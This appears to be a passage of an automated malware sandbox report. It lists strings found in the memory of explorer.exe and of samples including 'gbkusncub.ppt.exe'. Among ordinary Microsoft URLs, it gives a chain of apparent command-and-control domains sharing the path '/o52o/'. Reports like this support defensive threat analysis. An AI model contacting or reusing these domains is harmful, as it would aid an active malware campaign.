              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.66hf918cz.autosReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.anion.app
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.anion.app/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.anion.app/o52o/www.arehouse-inventory-62571.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.anion.appReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.arehouse-inventory-62571.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.arehouse-inventory-62571.bond/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.arehouse-inventory-62571.bond/o52o/www.ome-decor-10002.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.arehouse-inventory-62571.bondReferer:
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000077FF000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmp, gbkusncub.ppt, 00000008.00000003.2250490692.000000000136D000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt, 00000008.00000003.2251517261.0000000001371000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980268067.000000000C546000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C3E9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C533000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980349184.000000000C533000.00000004.00000001.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000003.2421997717.000000000119E000.00000004.00000020.00020000.00000000.sdmp, gbkusncub.ppt.exe, 00000015.00000002.2516469366.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe, 0000001B.00000002.2643834849.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe, 0000001F.00000002.2725753053.00000000003D5000.00000002.00000001.01000000.0000000D.sdmp, gbkusncub.ppt.exe.exe.21.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.avannahholcomb.shop
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.avannahholcomb.shop/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.avannahholcomb.shop/o52o/www.ee.zone
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.avannahholcomb.shopReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.eal-estate-90767.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.eal-estate-90767.bond/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.eal-estate-90767.bond/o52o/www.indseniorjob881.click
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.eal-estate-90767.bondReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ee.zone
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ee.zone/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ee.zone/o52o/www.jg-bw.app
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ee.zoneReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.flegendarycap50.online
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.flegendarycap50.online/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.flegendarycap50.online/o52o/www.mewtcp.xyz
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.flegendarycap50.onlineReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ichaellee.info
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ichaellee.info/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ichaellee.info/o52o/www.flegendarycap50.online
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ichaellee.infoReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.indseniorjob881.click
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.indseniorjob881.click/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.indseniorjob881.click/o52o/www.xs5.buzz
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.indseniorjob881.clickReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jg-bw.app
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jg-bw.app/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jg-bw.app/o52o/www.eal-estate-90767.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.jg-bw.appReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mewtcp.xyz
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mewtcp.xyz/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mewtcp.xyz/o52o/www.avannahholcomb.shop
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mewtcp.xyzReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ome-decor-10002.bond
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ome-decor-10002.bond/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ome-decor-10002.bond/o52o/www.66hf918cz.autos
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ome-decor-10002.bondReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.teplero.shop
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.teplero.shop/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.teplero.shop/o52o/www.ichaellee.info
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.teplero.shopReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uratool.net
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uratool.net/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uratool.net/o52o/www.anion.app
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.uratool.netReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xs5.buzz
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xs5.buzz/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xs5.buzz/o52o/www.uratool.net
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.xs5.buzzReferer:
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ybokiesite.online
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ybokiesite.online/o52o/
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ybokiesite.online/o52o/www.teplero.shop
              Source: explorer.exe, 00000011.00000003.2980349184.000000000C48E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4588911678.000000000C503000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2980789342.000000000C502000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ybokiesite.onlineReferer:
              Source: explorer.exe, 00000011.00000000.2331902622.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4583168633.00000000099AB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.2979251014.00000000099AB000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
              Source: explorer.exe, 00000011.00000000.2334616202.000000000BFDF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
              Source: explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
              Source: explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/I
              Source: explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
              Source: explorer.exe, 00000011.00000002.4582512760.000000000962B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2331388396.000000000962B000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=435B7A89D7D74BDF801F2DA188906BAF&timeOut=5000&oc
              Source: explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
              Source: explorer.exe, 00000011.00000000.2331388396.000000000973C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4582512760.000000000973C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMhz-dark
              Source: explorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com-
              Source: explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAzME7S.img
              Source: explorer.exe, 00000011.00000003.2980892639.000000000C086000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000002.4587304622.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000C048000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000003.3076566560.000000000C086000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.come
              Source: explorer.exe, 00000011.00000002.4587304622.000000000BFEF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2334616202.000000000BFEF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comEMd
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
              Source: explorer.exe, 00000011.00000002.4578756814.00000000073E5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000011.00000000.2328085420.00000000073E5000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
